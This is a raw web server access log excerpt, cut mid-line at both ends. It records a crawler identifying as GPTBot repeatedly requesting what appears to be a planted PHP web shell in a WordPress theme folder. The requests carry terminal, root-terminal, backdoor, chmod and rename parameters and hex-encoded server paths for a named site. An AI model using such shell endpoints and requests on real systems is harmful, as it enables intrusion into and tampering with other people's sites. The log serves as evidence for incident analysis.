/assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6a732f6a732f6a732f6a732f6a732f696e636c756465732f6373732f6a71756572792f7770&rename=ngRpwIPola.php HTTP/2" 200 3302 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:09 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c75646573 HTTP/2" 200 3283 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:11 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f757067726164652f7770 HTTP/2" 200 3309 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:13 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f696e636c756465732f6a636678656473&rename=wp-content HTTP/2" 200 3340 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:14 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6373732f757067726164652f77702f&f=.htaccess HTTP/2" 200 3547 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:16 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c75646573 HTTP/2" 200 3314 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:17 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6261636b75706c79 HTTP/2" 200 3172 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:18 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f696e636c756465732f7770&rename=.htaccess HTTP/2" 200 3303 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:20 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6a636678656473&rename=ysouwxa HTTP/2" 200 3273 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:21 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f77702d61646d696e61612f6a732f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f7770 HTTP/2" 200 2971 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:23 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-adminaa&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f6a6366786564732f6a6366786564732f77702d636f6e74656e742f77702d61646d696e61612f77702d61646d696e6161 HTTP/2" 200 3187 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:24 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6373732f6e6574776f726b2f7770&rename=.htaccess HTTP/2" 200 3324 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:26 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a732f7770 HTTP/2" 200 3265 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:28 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f706c7567696e732f706167656c617965722f6d61696e2f7770 HTTP/2" 200 3327 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:29 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f7770 HTTP/2" 200 3168 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:31 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6e6574776f726b2f696e636c75646573 HTTP/2" 200 3258 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:32 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73 HTTP/2" 200 3385 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:34 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f696e636c756465732f6a6366786564732f77702d636f6e74656e74&rename=jcfxeds HTTP/2" 200 3178 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:35 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=languages&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e732f7770732d686964652d6c6f67696e HTTP/2" 200 3269 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:37 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jcfxeds&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3220 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:38 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f637373&rename=backuply HTTP/2" 200 3508 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:39 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6373732f706c7567696e732f706167656c617965722f6d61696e HTTP/2" 200 3226 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:40 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a732f7770 HTTP/2" 200 3195 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:42 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=blocks&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6373732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f637373 HTTP/2" 200 3467 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:43 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6a71756572792f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f6a636678656473&rename=wp-content HTTP/2" 200 3291 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:45 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f77702d61646d696e61612f6a732f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a7175657279 HTTP/2" 200 3239 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:47 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6261636b75706c792f7770 HTTP/2" 200 3394 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:49 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=upgrade&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f637373 HTTP/2" 200 3491 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:50 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f637373 HTTP/2" 200 3528 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:52 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6373732f706c7567696e732f7770732d686964652d6c6f67696e&rename=languages HTTP/2" 200 3239 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:53 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-content&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f6a6366786564732f6a636678656473 HTTP/2" 200 3195 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:55 +0000] "GET /backuply/wp/lyRhDU.php?del=wp-contentaa&p= HTTP/2" 404 1251 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:56 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c75646573&rename=jcfxeds HTTP/2" 200 3243 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:58 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f7468656d6573 HTTP/2" 200 3271 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:32:59 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=includes&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6a71756572792f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6e6574776f726b2f696e636c75646573 HTTP/2" 200 3264 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:01 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f6a6366786564732f77702d696e636c75646573 HTTP/2" 200 3124 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:03 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a71756572792f7770 HTTP/2" 200 3283 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:04 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6e6574776f726b2f7770&rename=.htaccess HTTP/2" 200 3316 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:05 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f6373732f706c7567696e732f706167656c61796572 HTTP/2" 200 3266 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:07 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6373732f75706772616465 HTTP/2" 200 3226 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:08 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6261636b75706c79 HTTP/2" 200 3212 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:09 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a73 HTTP/2" 200 3301 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:11 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a7175657279 HTTP/2" 200 3195 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:13 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f6a636678656473&rename=wp-content HTTP/2" 200 3328 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:14 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e732f7770732d686964652d6c6f67696e HTTP/2" 200 3179 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:15 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3333 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:17 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=siteseo&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f706c7567696e73 HTTP/2" 200 3361 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:18 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f696e636c756465732f6a636678656473&rename=wp-adminaa HTTP/2" 200 3320 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:20 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73&rename=pagelayer HTTP/2" 200 3370 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:21 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jquery&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a73 HTTP/2" 200 3295 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:23 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3342 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:24 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f6261636b75706c79 HTTP/2" 200 3227 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:25 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6373732f6261636b75706c792f7770 HTTP/2" 200 3370 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:27 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f6a6366786564732f6a6366786564732f77702d636f6e74656e742f77702d61646d696e61612f77702d61646d696e6161 HTTP/2" 200 3095 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:28 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73 HTTP/2" 200 3400 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:30 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3308 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:31 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f6a6366786564732f77702d696e636c75646573 HTTP/2" 200 3150 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:33:33 +0000] "GET 